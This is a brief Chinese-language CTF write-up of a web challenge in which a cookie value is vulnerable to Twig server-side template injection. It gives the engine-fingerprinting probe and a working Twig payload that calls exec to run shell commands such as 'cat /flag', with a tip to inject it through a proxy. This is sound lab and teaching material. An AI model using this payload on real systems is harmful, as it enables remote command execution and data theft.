环境打开后,有三个页面,分别是index.php、flag.php、hint.php。
首先,hint.php的源码里有个提示如下,说明本题的关键在cookie(当然从题目中也可看出)
<!-- Why not take a closer look at cookies? -->
然后,flag.php里是一个输入框,输入什么它就会回显什么。输入test,这时候看看cookie,发现突然多了user=test。
说明这个页面是根据cookie里的user来回显的。经过尝试,这里存在模板注入。
接着,判断这个网站用的是什么模板。我从网上找了一张图:
{{7*'7'}} 49 Twig {{7*'7'}} 7777777 Jinja2
经过判断,这题是Twig的模板注入,如下图所示
最后,在网上找了Twig模板注入的exp:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
先执行find / -name flag,找到flag文件
再执行cat /flag,得到flag。
注意,这里必须在抓包时修改cookie中的user值为exp,而不能直接在前端输入框直接输入exp(因为浏览器会自动进行url编码,导致不执行)。
参考:
- https://blog.csdn.net/rfrder/article/details/109454313
- https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig